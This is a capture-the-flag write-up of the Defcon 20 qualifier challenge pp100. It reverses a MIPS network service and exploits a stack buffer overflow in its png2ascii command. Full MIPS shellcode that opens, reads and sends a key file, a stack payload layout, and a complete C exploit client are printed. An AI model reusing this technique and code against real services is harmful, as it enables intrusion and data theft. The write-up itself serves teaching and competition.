DC20 CTF pp100 Writeup
By Brandon 'falk' Falk | Competing for Sapheads

pp100 was the first pwnable challenge in the Defcon 20 qualifications. Pwnables are challenges that usually involve the player being given a binary server which is then run remotely for the player to exploit. In this case, the goal is to drop shellcode to dump contents of the `key` file.

Analysis

I guess I'll start with throwing this binary at IDA, surely it will do all of the work for me, right?

Uh oh, what is this? A MIPS binary? I've never seen one of these in my life. Hmm, this should be pretty interesting! I have no idea where I should start... I'll connect to the server and see what it does.

IRIX (quals.ddtek.biz)
login: ^D
IRIX Release 6.5 IP32 ddtek
Copyright 1987-2002 Silic0n Graphix, Inc. All Rights Reserved.
Last login: Tue Jun 08 20:15:27 GMT 1954 by UNKNOWN@quals.ddtek.biz

dd 0%

Ok, so I got some sort of a prompt here, stating it's a IRIX machine with a bogus last login date. I'll try to get some sort of a command, I'll see if `help` works.

dd 0% help
Available commands:
qotd
ls
png2ascii
help
exit
quit
dd 1%

Alright, it looks like I have a few programs I can call here. `exit` and `quit` both end my session with the server, so I think those are out of the picture. I've already played with the `help` command, so I also know that that is out of the picture as well. Hmm... I'm familiar with `ls`, I'll see if it's what I'd expect.

dd 1% ls
 ..
 key
 .
dd 2%

Alright, that's normal. I wonder if 'key' is the password for the challenge, surely it's only a 100 challenge, it can't be that hard.

Well, I guess that wasn't the case. I guess I probably have to dump out that file somehow. I'll look at `qotd` and `png2ascii`.

dd 2% qotd
#christian
-Word_of_God- Welcome Abstruse to
dd 3% qotd
#214810 +(8993)- [X]
<Fulgore> whats the complement to a 43 degree angle?
<sparks> My you're looking "acute" today
<Fulgore> fuck you
dd 4% png2ascii
Copy and paste your PNG file and I will convert it to ASCII
input?


              O         O
              |         |
        ***    \       /   ***
       *   **   \     /  **   *            I WONDER IF
     ** ooooo ** \   / ** ooooo **         TIMECOP WIPES
   ** oooooooooo *\ /* oooooooooo **       FRONT TO
  ** ooooooooooo *[ ]* ooooooooooo **      BACK
 ** oooooooooooo *[ ]* oooooooooooo **
** 0000000000000 *[ ]* 0000000000000 **
** ============= *[ ]* ============= **
 ** 000000000000 *[ ]* 000000000000 **
   *** ooooooooo *[ ]* ooooooooo ***
      ********** *[ ]* **********
          ** ooo   *   ooo **
       ** ooooo *     * ooooo **
     ** oooooo *       * oooooo **
  ** 00000000 **       ** 00000000 **
** ========= **         ** ========= **
 ** 0000000 **           ** 0000000 **
   ** oooo **             ** oooo **
     ** oo *               * oo **
       ***                   ***
        *                     *

dd 5%

Ok. It seems that `qotd` gives me a random quote from what seems to be IRC logs. `png2ascii` seems to give me an ascii image based on what I entered in the prompt. I get the same image for the same string, but different images for different input strings.

Alright, I'll see if `cat` works, maybe it's just not showing it in `help` to fool me.

dd 5% cat key
Not Implemented
dd 6%

Bummer, no trickery there. Looks like I have to get some of the own code running on the server to dump out this file.

Alright, I have the binary, and I know some information about the program, I should be able to search the binary for some of these strings, and find xrefs and find the code that invokes it.

Alright, I got the strings, and some references! I see the header shown when connected, and also aDdD certainly looks like the command line format parameter. I'll check out where aDaD is refernced.

Alright, time to learn some MIPS assembler. After a couple minutes of Wikipedia, I know that 'lw' loads a word (which is 4-byte on MIPS, unline x86) into the operand on the left. 'la' loads an address, similar to an 'lea' operation on x86. 'jalr' is comparable to a 'call', and 'sw' and 'sb' are store word and store byte, which move data from the register into the memory location.

Registers are used as such: $v0-$v1 for returns, $a0-$a3 for function arguments, $fp is the frame pointer, $sp is the staqck pointer, $ra is the return address, and $gp is a global pointer.

As far as the syntax of memory addressing, '0x130+var_18($fp)' is referncing the memory at '$fp + var_18 + 0x130', which in x86 assembler would look like '[$fp + var_18 + 0x130]'

Ok... I seem to have enough of an understanding of MIPS that I should be able to figure out what this code does. Hmm... shortly after loc_401254 I see the format string for the prompt being referenced... a ha! This seems to be the main loop!

So somewhere in between loc_401254 and loc_4012EC I do all of the command processing. Hmm, it seems that $t9 is being called at 0x401270... this takes in an integer, a format string, and another integer. Aha! This must be some sort of a formatting send function. It seems the first parameter is the socket, the second parameter is the format string, and the third must be the counter that increments every time I enter a command. I'll call this function 'format_send'.

The next call at 0x401294 takes in the socket, a buffer on the stack, some integer, and another integer. Hmm, this looks an aweful lot like a recv(). 0x100 happens to be an unknown integer, but it's the size of the buffer, so that makes sense for a recv(). I'll see what that flag is. Interesting, it's a MSG_TRUNG. Well that makes a lot of sense, that would be an exploit of itself. At this point I'm pretty confident that this function is a recv() function, I'll rename it!

Now it seems that I null terminate the read buffer from the socket. I directly add the return value from recv to the buffer location, and store zero into it. Wait a minute... the buffer is 0x100 bytes, and the recv() calls for 0x100 bytes. This means I could have the program write a null in the next variable on the stack, which I have identified as being the counter variable used in the format_send. Could this be the exploit? I'll enter in a string that's exactly 0x100 (256) bytes in length.

dd 6% dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddd
Not Implemented
dd 1%

A ha! I was correct, it overwrote one of the bytes of the counter with a zero, reset the counter, and then incremented it when it went through the loop. So I got a 1 back. Ok... is there anything I can really do with this? Nah. I'm just resetting the counter, and only one byte of it (as it's a 4-byte word). The maximum overflow is one byte, and that byte is always zero. Useless. At least I'm understanding MIPS so far. I'll move on...

Alright, there's one last call made in this function at 0x4012C4. This must be the processing function. It seems to take in the socket in $a0, and the address of the recv() buffer in $a1.

Alright, it seems that this function is looking at all the strings of the programs that we've seen in 'help'. All of these are being called into the same function, where $a0 is var_18, and $a1 is the command line program. Hmm, this must be some sort of a memcmp, as this is what determines whether or not it tries the next string. I'll call this function memcmp, and take a step back to see if it all makes more sense.

Alright, this is clearly our dispatcher routine, as it checks the specifed command line against one of the program names, and continues trying names until one is found or not found at all. If one is found, it seems they all execute individual functions. We'll call this function process_command_and_respond as it has to both process the command, and send the command output back to the client

For now, I'll skip right to png2ascii... the only other place in the code where it takes some sort of input. Clearly I have to specify some sort of input to inject shellcode.

Alright, I've clearly found the right function. This function does a recv like I saw in the command line input. However this time it's requesting 0x200 bytes of data. Wait a minute, it specifies a 0x100 byte buffer! Here it is! I have 0x100 bytes of buffer overflow at my disposal. Ok, since this is the function that will be exploited, I'm going to make sure I understand this code fully by decompiling it to C.

(Some time passes)

void
png2ascii(int socket, char *command)
{
	uint64_t  stacktop;
	uint32_t  i
	uint32_t  flip;
	uint32_t *ptr;
	uint32_t  crc32;
	char      buffer[256];
	uint32_t  stackframe;
	uint32_t  retaddr;
	
	int tmp, tmp2;

	retaddr    = $ra;
	stackframe = $fp;
	stacktop   = $gp;

	i     = 0;
	flip  = 0xFFFFFFFF;
	ptr   = NULL;
	crc32 = 0;

	send_string(socket, aCopyAndPasteYo, 0); /* "Copy and paste your PNG..." */

	memset(buffer, 0, 256);

	recv(socket, buffer, 512, MSG_TRUNC);

	/* Looks like a crc32 */
	ptr = (uint32_t*)buffer;
	for(i = 0; i < 0x40 ; i++)
		crc32 += *ptr;

	if(crc32 < 0)
		crc32 = -crc32;

	tmp  = (((crc32 * 0x701F88DF) >> 32) >> 11) - (crc32 >> 31);
	tmp2 = tmp;

	tmp <<= 3;
	tmp  += tmp2;
	tmp <<= 3;
	tmp  += tmp2;
	tmp <<= 4;
	tmp +=  tmp2;
	tmp <<= 2;

	flip = crc32 - tmp;

	send_string(socket, "\n\n", 0);
	send_string(socket, *(0x100001F8 + (flip << 2)), 0);
	send_string(socket, "\n\n", 0);

	$ra  = retaddr;
	$fp  = stackframe;
	$sp += 0x130;      /* Remove ourselves from the stack */

	return; /* This will jump to $ra */
}

Alright. Now this is making a lot more sense. Now that I see the code in C, I'm able to recognize some parameters as standard functions. Like I see a memset(), sort sort of modified send() which dosen't take in a length. I'll call this send_string().

So the sends the string asking for input, memsets the buffer for 256 bytes, and then reads into the 256 byte buffer for 512 bytes! After this it does some sort of calculation which I presume is a crc32 to calculate the ascii picture to dump out. I don't really care too much about that, all I care about is what I get to do with my 256 bytes of overflow.

Ok, the buffer can potentially overwrite the stack frame, return address, socket, and command argument. Now, I can hop out to anywhere I want by smashing the return address, but I cannot run arbitrary code because I do not know the location of the stack.

I have to find some sort of routine to get more data to an arbitrary address based on a value on the stack. In other words, I need to find a read() or recv() that takes parameters on the stack, so I can specify a static location to load the shellcode at.

Hmm, I also have to smash the frame pointer, and I cannot restore it. I must find a location that takes parameters off the stack based on $sp and not $fp and then calls a read() or recv() operation. Now it's time for an adventure. I tried the recv() function, but that's frame based... what else? Hmm, let's look deeper into recv() to see what it calls. A ha, it does a syscall for read()!

Hmm, this takes all the parameters off the stack using $sp, which is what we need. But now how can I execute the newly loaded shellcode? Wait a minute... shortly after a syscall a call is made on '-0x7CCC($gp)'. But that depends on $gp... wait! There it is! Right before the loading the syscall arguments $gp is set with a value based on the stack! All I have to do is make $gp-0x7CCC equal the location of our shellcode, and prepend the shellcode with the location of the shellcode + 4! This means that when the call is tried, it will get the first 4 bytes of our shellcode and jump to that location. Which would be 4 bytes after that!!!

So I want to set the $ra to 0x0040F968, and then specify my parameters, and also the argument that is used to set $gp. I need to fill the buffer, set a garbage stack pointer, put the return address to 0x40F968 for the syscall, specify the socket, buffer, and size, then specify garbage until var_10 is reached for the value put into $gp. The value put into $gp should be 0x10000000 + 0x7CCC so when 0x7CCC is taken off, I just get 0x10000000 which is where the shellcode will be read, and that location will hold the location to jump to (0x10000004)

	memset(payload, 'a', 256);                /* fill buffer     */
	*(uint32_t*)(payload + 256) = 0xdeadbeef; /* stack pointer   */
	*(uint32_t*)(payload + 260) = 0x0040F968; /* return address  */
	*(uint32_t*)(payload + 264) = 0x00000006; /* var_30 (socket) */
	*(uint32_t*)(payload + 268) = 0x10000000; /* var_2C (buffer) */
	*(uint32_t*)(payload + 272) = 0x00000200; /* var_28 (size)   */
	*(uint32_t*)(payload + 276) = 0xdeadbeef; /* var_24          */
	*(uint32_t*)(payload + 280) = 0xdeadbeef; /* var_20          */
	*(uint32_t*)(payload + 284) = 0xdeadbeef; /* var_1C          */
	*(uint32_t*)(payload + 288) = 0xdeadbeef; /* var_18          */
	*(uint32_t*)(payload + 292) = 0xdeadbeef; /* var_14          */
	*(uint32_t*)(payload + 296) = 0x10007CCC; /* var_10 ($gp)    */

Now I have to make some shellcode, that opens the key file, reads it, and sends the results over the socket. I also can't forget about the 0x10000004 that has to be prepended to the code!!!

.globl main

runat:
        .byte 0x04 #0x00
        .byte 0x00
        .byte 0x00
        .byte 0x10

main:
        lui   $a0, 0x1000                 # 0x04
        ori   $a0, 0x48                   # 0x08
        move  $a1, $zero                  # 0x0C
        li    $v0, 0xFA5                  # 0x10
        syscall 0 # open(key, O_RDONLY);  # 0x14

        move  $a0, $v0                    # 0x18
        lui   $a1, 0x1000                 # 0x1C
        ori   $a1, 0x4C                   # 0x20
        li    $a2, 64                     # 0x24
        li    $v0, 0xFA3                  # 0x28
        syscall 0 # read(fd, buffer, 64); # 0x2C

        li  $a0, 0x0                         # 0x30
        lui $a1, 0x1000                      # 0x34
        ori $a1, 0x4C                        # 0x38
        li  $a2, 64                          # 0x3C
        li  $v0, 0xFA4                       # 0x40
        syscall 0 # write(sock, buffer, 64); # 0x44

keyname:
        .ascii "key\0" # 0x48

buffer:
        .ascii "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" # 0x4C
        .ascii "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
        .ascii "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
        .ascii "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"

This code should do. I'll have to play around with the socket a few times until it works, but it should be somewhere between 3 and 10. Now I'll make the final program that exploits the server.

#include 
#include 
#include 
#include 

#define PNG "png2ascii\n"

unsigned char shellcode[140] =
{
	0x04, 0x00, 0x00, 0x10, 0x00, 0x10, 0x04, 0x3C, 0x48, 0x00, 0x84, 0x34,
	0x21, 0x28, 0x00, 0x00, 0xA5, 0x0F, 0x02, 0x24, 0x0C, 0x00, 0x00, 0x00,
	0x21, 0x20, 0x40, 0x00, 0x00, 0x10, 0x05, 0x3C, 0x4C, 0x00, 0xA5, 0x34,
	0x40, 0x00, 0x06, 0x24, 0xA3, 0x0F, 0x02, 0x24, 0x0C, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x04, 0x24, 0x00, 0x10, 0x05, 0x3C, 0x4C, 0x00, 0xA5, 0x34,
	0x40, 0x00, 0x06, 0x24, 0xA4, 0x0F, 0x02, 0x24, 0x0C, 0x00, 0x00, 0x00,
	0x6B, 0x65, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
};


int
main(void)
{
	struct   addrinfo *ai, hints = { 0, AF_UNSPEC, SOCK_STREAM, IPPROTO_TCP };
	INT_PTR  s;
	WSADATA  wsadata;
	char     buf[8192];
	int      ret;
	uint32_t i, sock;

	uint8_t payload[512];


	WSAStartup(MAKEWORD(2, 2), &wsadata);
	s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	getaddrinfo("127.0.0.1", "5001", &hints, &ai);
	connect(s, ai->ai_addr, (int)ai->ai_addrlen);

	/* Wait for the prompt */
	for( ; ; ){
		ret = recv(s, buf, 8191, 0);
		*(buf + ret) = 0;
		if(strstr(buf, "dd 0%"))
			break;
	}

	/* Send 'png2ascii' and wait for that prompt */
	send(s, PNG, sizeof(PNG) - 1, 0);
	for( ; ; ){
		ret = recv(s, buf, 8191, 0);
		*(buf + ret) = 0;
		if(strstr(buf, "ASCII for you:"))
			break;
	}

	sock = 6;
	
	memset(payload, 'a', 256);                /* fill buffer     */
	*(uint32_t*)(payload + 256) = 0xdeadbeef; /* stack pointer   */
	*(uint32_t*)(payload + 260) = 0x0040F968; /* return address  */
	*(uint32_t*)(payload + 264) = sock;       /* var_30 (socket) */
	*(uint32_t*)(payload + 268) = 0x10000000; /* var_2C (buffer) */
	*(uint32_t*)(payload + 272) = 0x00000200; /* var_28 (size)   */
	*(uint32_t*)(payload + 276) = 0xdeadbeef; /* var_24          */
	*(uint32_t*)(payload + 280) = 0xdeadbeef; /* var_20          */
	*(uint32_t*)(payload + 284) = 0xdeadbeef; /* var_1C          */
	*(uint32_t*)(payload + 288) = 0xdeadbeef; /* var_18          */
	*(uint32_t*)(payload + 292) = 0xdeadbeef; /* var_14          */
	*(uint32_t*)(payload + 296) = 0x10007CCC; /* var_10 ($gp)    */
	*(uint32_t*)(payload + 300) = 0x0a0a0a0a; /* newlines        */

	/* Send our exploit, phase 1 */
	send(s, payload, 301, 0);

	/* Set the socket */
	*(shellcode + 0x30) = sock;

	/* Send our shellcode, phase 2 */
	send(s, shellcode, sizeof(shellcode), 0);

	/* Read data!!! */
	for( ; ; ){
		ret = recv(s, buf, 1024, 0);
		*(buf + ret) = 0;
		printf("Data: '%s'\n", buf);
	}

	return 0;
}

That should do the trick! I'll have to try out a bunch of different sockets now.

IT WORKED! Yay!

C:\ctfs\dc20\pp100>exploit.exe
Data: '

'
Data: '    .=~~~~~~~=.
   {:..        }
    `~|  O  |~`
   .'`~~~~~~~`'.  I'VE GOT MORE
  /    o   o    \ JIZZ IN MY MOUTH
  :    )(_)(    ;  RIGHT NOW THAN
  \   '.___.'   /  YOU COULD POSSIBLY
   `.,__`=' _,.'   BELIEVE
     /__\V/__\
        /\\
       / / \
jgs    \/`\/

'
Data: 'zomgh4x
'

'zomgh4x' is the key! (not in the real challenge, only for this writeup which was hosted locally after the competition ended)

The end. Creds to my friends over at Sapheads, and to ddtek for hosting the competition!